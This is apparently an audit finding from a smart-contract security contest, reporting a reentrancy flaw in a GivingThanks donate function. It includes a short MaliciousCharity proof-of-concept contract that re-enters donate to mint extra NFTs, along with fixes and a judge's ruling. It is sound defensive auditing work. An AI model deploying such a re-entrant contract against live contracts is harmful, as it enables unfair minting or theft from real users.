GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy vulnerability in the `GivingThanks::donate`, that can occur making external call before updating state variable

predator

Summary

Because of Reentrancy vulnerability, GivingThanks::donate functions gives an opportunity to malicious actor to manipulate the system to gain an unfair benefit, typically through repeated minting of NFTs.

Vulnerability Details

  1. The attacker calls GivingThanks::donate function from the malicious contract as the charity address.

  2. The donate function sends Ether to the MaliciousCharity contract, triggering its receive() function.

  3. In the receive() function, the malicious contract re-enters the donate function before the original call completes. This happens before the token counter is incremented or the minting logic finishes.

  4. Each time the Ether is sent, the contract keeps re-entering and minting new tokens, leading to multiple tokens being issued without properly tracking donations.

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
@> (bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
​
_mint(msg.sender, tokenCounter);
​
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
​
tokenCounter += 1;
}
Proof of code
contract MaliciousCharity {
GivingThanks public givingThanks;
bool public attackInProgress = false;
​
constructor(address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
}
​
receive() external payable {
if (!attackInProgress) {
attackInProgress = true;
givingThanks.donate{value: msg.value}(address(this));
}
}
}
​

Impact

A bad actor could create a contract designed to exploit the vulnerable GivingThanks::donate function by re-entering it through the call that sends Ether to manipulate the system to gain an unfair benefit, typically through repeated minting of NFTs.

Tools Used

Foundry, Manual

Recommendations

There are a few ways how to mitigate this problem:

  • Update your state variable tokenCounter before making the external call to ensure that any attempt to re-enter the function will not allow the attacker to mint extra tokens unfairly.

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
- (bool sent,) = charity.call{value: msg.value}("");
- require(sent, "Failed to send Ether");
​
_mint(msg.sender, tokenCounter);
​
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
​
+ (bool sent,) = charity.call{value: msg.value}("");
+ require(sent, "Failed to send Ether");
}
​

  • Use the nonReentrant modifier from OpenZeppelin to ensure that no reentrancy is possible. This will block the malicious contract from re-entering the donate function while it is already executing.

Updates

Lead Judging Commences

n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-donate-reentrancy-multiple-NFT-minted

Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.